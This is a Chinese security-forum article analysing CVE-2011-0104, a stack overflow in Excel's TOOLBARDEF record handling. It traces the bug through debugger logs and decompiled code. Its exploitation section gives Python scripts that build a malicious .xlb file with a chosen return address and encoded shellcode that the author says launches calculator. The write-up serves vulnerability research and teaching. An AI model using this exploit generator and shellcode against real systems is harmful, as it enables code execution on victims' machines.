其他
CVE-2011-0104 Excel TOOLBARDEF Record栈溢出漏洞分析与利用
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
1
简介
2
漏洞调试
2.1 环境
2.2 确定异常函数地址
(8e4.e2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=90909090 ebx=00000002 ecx=00000006 edx=3160ff00 esi=00000000 edi=00000400
eip=300ce361 esp=0013aa24 ebp=0013aa8c iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE -
EXCEL!Ordinal41+0xce361:
300ce361 8908 mov dword ptr [eax],ecx ds:0023:90909090=????????
0:000> dd esp
0013aa24 0013c854 00000000 00000002 bcdcb8c1
0013aa34 0013aa8c 40000002 3bd5d6df 3bd5d6df
0013aa44 00000000 00000000 90909090 90909090
0013aa54 90909090 90909090 90909090 90909090
0013aa64 90909090 90909090 90909090 90909090
0013aa74 90909090 90909090 90909090 90909090
0013aa84 90909090 00000000 90909090 90909090
0013aa94 90909090 90909090 90909090 90909090
2.3 确定漏洞函数地址
0:000> ba r4 esp
0:000> g
Breakpoint 1 hit
eax=00000300 ebx=00000300 ecx=000000a8 edx=00000300 esi=3085d480 edi=0013aa9b
eip=300ce3c8 esp=001379dc ebp=0013aa3b iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
EXCEL!Ordinal41+0xce3c8:
300ce3c8 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0013aa9b=13c85400 ds:0023:3085d480=90909090
0:000> bl
char *__userpurge vulFun@<eax>(char *dst@<ebp>, char *a2, unsigned int a3, unsigned int a4)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v4 = a3;
if ( !a3 )
return 0;
if ( a3 > a4 )
{
sub_300BF683(dword_3085C4B4, 6);
goto LABEL_15;
}
v5 = dword_30861408;
v6 = dword_3085D3F8;
dst = a2;
do
{
if ( v5 >= v6 )
{
v9 = v4;
if ( v4 > 0x4000 )
LABEL_15:
v9 = 0x4000;
sub_300F975F(v9);
v5 = dword_30861408;
v6 = dword_3085D3F8;
}
length = v6 - v5;
if ( v4 < length )
length = v4;
qmemcpy(dst, (char *)dword_3085D400 + v5, length);// 这里发生栈溢出
v4 -= length;
v5 = length + dword_30861408;
dst += length;
dword_30861408 += length;
if ( !v4 )
break;
v6 = dword_3085D3F8;
}
while ( dword_3085D3F8 == 0x4000 );
return (char *)(dst - a2);
}
length = v6 - v5;
if ( v4 < length )
length = v4;
300ce252 55 push ebp
300ce253 8bec mov ebp,esp // ebp <- esp = 13aa8c
300ce255 83ec5c sub esp,5Ch // esp = 13aa30
0:000> bp 300CE380
0:000> g
Breakpoint 1 hit
eax=306def87 ebx=00002020 ecx=00000018 edx=00003f79 esi=00000004 edi=001379fc
eip=300ce380 esp=001379ec ebp=00139ad8 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
EXCEL!Ordinal41+0xce380:
300ce380 53 push ebx
0:000> dd esp l3
001379ec 306defad 001379fc 00000004
0:000> p
eax=306def87 ebx=00000004 ecx=00000018 edx=00003f79 esi=00000004 edi=001379fc
eip=300ce397 esp=001379e8 ebp=00139ad8 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
EXCEL!Ordinal41+0xce397:
300ce397 8b1508148630 mov edx,dword ptr [EXCEL!DllGetLCID+0x10bda (30861408)] ds:0023:30861408=00000018
0:000> p
eax=306def87 ebx=00000004 ecx=00000018 edx=00000018 esi=00000004 edi=001379fc
eip=300ce39d esp=001379e8 ebp=00139ad8 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
EXCEL!Ordinal41+0xce39d:
300ce39d a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] ds:0023:3085d3f8=00003f7a
0:000> g
Breakpoint 1 hit
eax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303c
eip=300ce380 esp=001379ec ebp=00139ad8 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
EXCEL!Ordinal41+0xce380:
300ce380 53 push ebx
0:000> dd esp l3
001379ec 306df0e1 0013aa3b 00000300
2.4 污点追踪
2.4.1 IDA中的分析
v71 = readData();
...
else if ( v71 == 0xA7 )
{
v13 = readData();
...
v73 = v13;
...
vulFun((char *)&v50, (char *)v9, v73, -3 - v14 + v15);
...
int readData()
{
v0 = stream_length;
v1 = src_idx;
if ( src_idx >= (stream_length - 1) ) {
...
}
else {
result = *&src[src_idx];
src_idx += 2;
}
return result;
}
2.4.2 文件内容调试分析
pyOffice.py -f src.xlb > src.txt
[*]Opening file ..\src.xlb
[*]Listing streams/storages:
Warning: OLE type 0x8 not in types
[**]Detected Excel file ..\src.xlb
********************************************************************************
[*]Dumping Workbook stream 0x3f7a (16250) bytes...
[ii]BOF record: current count 1
[0]Record BOF [0x809 (2057)] offset 0x0 (0), len 0x10 (16) (Beginning of File)
WORD vers = 0x600 (1536)
WORD dt = 0x400 (1024)
WORD rupBuild = 0x1faa (8106)
WORD rupYear = 0x7cd (1997)
DWORD bfh = 0x500c9 (327881)
DWORD sfo = 0x406 (1030)
[1]Record TOOLBARDEF [0xa7 (167)] offset 0x14 (20), len 0x4 (4) (Toolbar Definition:)
BYTE fUnnamed = 0xb0 (176)
WORD cbtn = 0xc0f (3087)
Field 'rgbbtndef' is variable length, dumping rest of record:
0000000000 00 .
[2]Record CONTINUE [0x3c (60)] offset 0x1c (28), len 0x300 (768) (Continues Long Records)
Field 'data' is variable length, dumping rest of record:
0000000000 40 DF D6 D5 3B DF D6 D5 3B 00 00 00 00 00 00 00 @...;...;.......
0000000010 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
......
0:000> t
eax=00000000 ebx=00000002 ecx=00000000 edx=00139a28 esi=00000000 edi=00000000
eip=300ce402 esp=00139a18 ebp=00139ad8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
EXCEL!Ordinal41+0xce402:
300ce402 a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] ds:0023:3085d3f8=00003f7a
300ce402 a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID+0xcbca (3085d3f8)] // 3f7a
300ce407 8b0d08148630 mov ecx,dword ptr [EXCEL!DllGetLCID+0x10bda (30861408)] // 这里保存的是索引值
300ce40d 8d50ff lea edx,[eax-1]
300ce410 3bca cmp ecx,edx // 检查索引值是不是超过了stream的范围
300ce412 0f8d20690200 jge EXCEL!Ordinal41+0xf4d38 (300f4d38)
0:000> p
eax=00003f7a ebx=00000002 ecx=00000014 edx=00003f79 esi=00000000 edi=00000000
eip=300ce418 esp=00139a18 ebp=00139ad8 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
EXCEL!Ordinal41+0xce418:
300ce418 0fb78100d48530 movzx eax,word ptr EXCEL!DllGetLCID+0xcbd2 (3085d400)[ecx] ds:0023:3085d414=00a7
0:000> db 3085d400
3085d400 09 08 10 00 00 06 00 04-aa 1f cd 07 c9 00 05 00 ................
3085d410 06 04 00 00 a7 00 04 00-b0 0f 0c 00 3c 00 00 03 ............<...
3085d420 40 df d6 d5 3b df d6 d5-3b 00 00 00 00 00 00 00 @...;...;.......
3085d430 00 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
3085d440 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
3085d450 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
3085d460 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
3085d470 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
...
qmemcpy(dst, src + v5, length);
v4 -= length;
v5 = length + src_idx;
dst += length;
src_idx += length;
...
306df004 833da01c863005 cmp dword ptr [EXCEL!DllGetLCID+0x11472 (30861ca0)],5 // 这里保存的值没弄清楚是什么,但是这里保存的是6
306df00b 8d0437 lea eax,[edi+esi] // esi=00000004 edi=001379fc -> eax=00137a00 edi保存的是之前复制4个字节时栈的起始地址
306df00e 0f9dc2 setge dl // 根据比较结果,dl设置成1
306df011 894574 mov dword ptr [ebp+74h],eax
306df014 668b4701 mov ax,word ptr [edi+1] // 读取TOOLBARDEF中的cbtn字段:0xc0f
306df018 0fbff0 movsx esi,ax // esi = 0xc0f
306df01b 897538 mov dword ptr [ebp+38h],esi
306df01e 8d541202 lea edx,[edx+edx+2] // edx = 4
306df022 0faff2 imul esi,edx // esi = 0xc0f*4 = 0x303c
306df025 8d4f03 lea ecx,[edi+3] // ecx = 1379ff
306df028 03f1 add esi,ecx // esi = 13aa3b
...
v70 = 0;
tag = readData(); // 读取数据 得到0xa7
length = readData(); // 读取TOOLBARDEF记录的长度,得到0x4
v76 = length;
v72 = 0;
v67 = 0;
if ( dword_30861C10 ) {
...
}
else
{
(sub_30007AD0)(v47[0]); // 这里根据调试应该是在分配足够的栈空间
// 直接将esp减少了0x2020
stack_start = v47;
v73 = v47;
v58 = 0x2020;
}
while ( tag != 0xA && tag != 0xC0 )
{
vulFun(&v53, stack_start, length, 0x2020u); // 读入TOOLBARDEF的四个字节,放入栈中
// 接下来的几个判断都没有通过
...
else if ( tag == 0xA7 ) // 直到这里,判断通过
{
cntn = &stack_start[length];
v76 = &stack_start[length];
LOWORD(cntn) = *(stack_start + 1); // 读取TOOLBARDEF中的cntn字段:0xc0f
v61 = cntn;
new_dst_addr = &stack_start[(2 * (dword_30861CA0 >= 5) + 2) * cntn + 3];// 这里根据cntn得到了一个很大的偏移量
v71 = cntn;
four_bytes_end = (stack_start + 3); // 指向的是复制的四个字节的结束位置
v75 = 2 * (dword_30861CA0 >= 5) + 2;
0:000> p
eax=00137a03 ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000
eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
EXCEL!MdCallBack+0x280054:
306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a03=90909090
if ( (v77 & 0x12F0000) != 0 && new_dst_addr >= v76 )
{
...
vulFun(&v53, new_dst_addr, v76, -3 - v17 + v18); // 发生数据复制操作
...
}
0:000> g
Breakpoint 3 hit
eax=00137a07 ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000
eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
EXCEL!MdCallBack+0x280054:
306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a07=90909090
0:000> g
Breakpoint 3 hit
eax=00137a0b ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000
eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
EXCEL!MdCallBack+0x280054:
306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a0b=90909090
0:000> g
Breakpoint 3 hit
eax=00137a0f ebx=000000ff ecx=00000000 edx=00000000 esi=0013aa3b edi=00000000
eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
EXCEL!MdCallBack+0x280054:
306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137a0f=90909090
...
0:000> g
Breakpoint 3 hit
eax=00137b67 ebx=000000ff ecx=929f0bb5 edx=00000000 esi=0013aa3b edi=00000001
eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
EXCEL!MdCallBack+0x280054:
306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137b67=2cd5e975
0:000> g
Breakpoint 4 hit
eax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303c
eip=300ce380 esp=001379ec ebp=00139ad8 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
EXCEL!Ordinal41+0xce380:
300ce380 53 push ebx
0:000> bp 306df06c "j (eax=137b67) '';'gc'"
0:000> g
eax=00137b67 ebx=000000ff ecx=929f0bb5 edx=00000000 esi=0013aa3b edi=00000001
eip=306df06c esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
EXCEL!MdCallBack+0x280054:
306df06c 8b08 mov ecx,dword ptr [eax] ds:0023:00137b67=2cd5e975
0:000> p
eax=00003f7a ebx=000000ff ecx=0000001c edx=00003f79 esi=0013aa3b edi=00000001
eip=300ce418 esp=001379f8 ebp=00139ad8 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
EXCEL!Ordinal41+0xce418:
300ce418 0fb78100d48530 movzx eax,word ptr EXCEL!DllGetLCID+0xcbd2 (3085d400)[ecx] ds:0023:3085d41c=003c
if ( (v77 & 0x12F0000) != 0 && new_dst_addr >= length2_ )
{
tag = readData(); // 记录的标签
if ( tag != 0x3C )
goto LABEL_181;
length2 = readData(); // 记录的长度
v17 = v75 * v61;
length2_ = length2;
new_dst_addr = v73 + v75 * v61 + 3; // 这里根据cbtn再次计算了一次栈空间的地址,数值和之前是一样的
v18 = sub_300ADBAB();
vulFun(&v53, new_dst_addr, length2_, -3 - v17 + v18);
if ( a5 && *(off_308595A8 + 11) )
sub_30481AF7(new_dst_addr, length2_, 1);
v14 = v72;
length2_ += new_dst_addr;
}
0:000> p
eax=ffffefe1 ebx=000000ff ecx=ffffcfc1 edx=00003f79 esi=0013aa3b edi=0000303c
eip=306df0dc esp=001379f0 ebp=00139ad8 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
EXCEL!MdCallBack+0x2800c4:
306df0dc e89ff29eff call EXCEL!Ordinal41+0xce380 (300ce380)
0:000> dd esp l3
001379f0 0013aa3b 00000300 ffffefe1
3
漏洞利用
3.1 几个特殊位置的确定
0:000> bp 306dfb55
0:000> g
Breakpoint 4 hit
eax=00000000 ebx=000000ff ecx=01b80000 edx=3160ff00 esi=00000000 edi=00000000
eip=306dfb55 esp=001379fc ebp=00139ad8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
EXCEL!MdCallBack+0x280b3d:
306dfb55 8da544ffffff lea esp,[ebp-0BCh]
Stack overflows are not hard to exploit at all ! but as we have both /GS , SAFESEH here. because given that we are destined to memcpy we can change it so that it begins to overwrite the stack after GS.
0:000> p
eax=00000000 ebx=000000ff ecx=01b80000 edx=3160ff00 esi=00000000 edi=00000000
eip=306dfb5b esp=00139a1c ebp=00139ad8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
EXCEL!MdCallBack+0x280b43:
306dfb5b 8b8d2c0f0000 mov ecx,dword ptr [ebp+0F2Ch] ss:0023:0013aa04=bcdcb8c1
0:000> t
eax=00000000 ebx=000000ff ecx=bcdcb8c1 edx=3160ff00 esi=00000000 edi=00000000
eip=30002150 esp=00139a18 ebp=00139ad8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
EXCEL!Ordinal41+0x2150:
30002150 3b0d009e8530 cmp ecx,dword ptr [EXCEL!DllGetLCID+0x95d2 (30859e00)] ds:0023:30859e00=bcdcb8c1
300ce354 8b452c mov eax,dword ptr [ebp+2Ch] ss:0023:0013aab8=90909090
300ce357 3bc6 cmp eax,esi // esi这里是0
300ce359 7408 je EXCEL!Ordinal41+0xce363 (300ce363) // 无法跳转
300ce35b 8b0da01c8630 mov ecx,dword ptr [EXCEL!DllGetLCID+0x11472 (30861ca0)]
300ce361 8908 mov dword ptr [eax],ecx // 发生异常
0:000> p
eax=00000000 ebx=00000002 ecx=bcdcb8c1 edx=3160ff00 esi=00000000 edi=0013c854
eip=300ce37d esp=0013aa90 ebp=90909090 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
EXCEL!Ordinal41+0xce37d:
300ce37d c22c00 ret 2Ch
① 0013aab8地址保存的应该是0,这样就能保证程序跳转到执行到retn语句。
② 0013aa90地址保存的应该是jmp esp指令地址,之后可以放入shellcode的内容。
① 0013aab8位于src偏移0x20 + 0x13aab8 - 0x13aa3b= 0x9D的位置。
② 0013aa90位于src偏移0x20 + 0x13aa90 - 0x13aa3b= 0x75的位置。
3.2 构造exploit文件
3.2.1 确定返回地址
C:\Documents and Settings\test\Desktop>findjmp kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C8369F0 call esp
0x7C86467B jmp esp
0x7C868667 call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 3 usable addresses
3.2.2 修改src.xlb
Breakpoint 0 hit
eax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=00000400
eip=300ce354 esp=0013aa24 ebp=0013aa8c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
EXCEL!Ordinal41+0xce354:
300ce354 8b452c mov eax,dword ptr [ebp+2Ch] ss:0023:0013aab8=00000000
0:000> p
eax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854
eip=300ce37d esp=0013aa90 ebp=90909090 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
EXCEL!Ordinal41+0xce37d:
300ce37d c22c00 ret 2Ch
0:000> dd esp l1
0013aa90 7c868667
0:000> p
eax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854
eip=7c868667 esp=0013aac0 ebp=90909090 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!`string'+0x23:
7c868667 ffd4 call esp {0013aac0}
0:000> p
eax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854
eip=0013aae3 esp=0013aabc ebp=90909090 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0013aae3 cc int 3
3.2.3 使用真正的shellcode
import sys
def main():
fdR = open('src.xlb', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:1536] # 0x600
src1 = strTotal[1536:1653] # 0x600 - 0x675
retn_addr = "\x67\x86\x86\x7c"
src2 = strTotal[1657:1693] # 0x679 - 0x69d
zero = "\x00\x00\x00\x00"
# shellcode我没改,还是原来原本中弹计算器的代码
shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += '\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'
str2 = strTotal[1940:] # 这里选择的是src.xlb中仍旧在\x90范围内,但比较靠后的一个位置
fdW= open('exploit.xlb', 'wb+')
fdW.write(str1)
fdW.write(src1)
fdW.write(retn_addr)
fdW.write(src2)
fdW.write(zero)
fdW.write(shellcode)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Excel file generated'
if __name__ == '__main__':
main()
3.3 关于exploit.py这个文件
def main():
try:
fdR = open('src.xlb', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:1556] # 0x614
str2 = strTotal[2385:] # 0x951
recordType = "\xA7\x00" # 0xA7标志
recordLenght = "\x04\x00" # 长度 0x4
field1 = "\xB0"
field2 = "\x0F\x0C" # 0xc0f 用于获得超大的栈偏移
field3 = "\x00"
field4 = "\x3C\x00" # 0x3c标志
field5 = "\x00\x03" # 长度0x300 数据复制长度,导致发生溢出
record = recordType + recordLenght + field1 + field2 + field3 + field4 + field5
eip = "\xDF\xD6\xD5\x3B" # Call ESP
# shellcode calc.exe 这里是shellcode代码,同时在后面补充了\x90,保证总长度在0x320
shellcode = ...
fdW= open('exploit.xlb', 'wb+')
fdW.write(str1)
fdW.write(record)
fdW.write("\x41") # pad
fdW.write(eip)
fdW.write("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") # 这里就是在保证判断是否为0是能够成功跳转
fdW.write(shellcode)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Excel file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
4
总结
5
参考资料
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
官网:https://www.bagevent.com/event/6334937
# 往期推荐
2. Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF
3.CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习
6. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!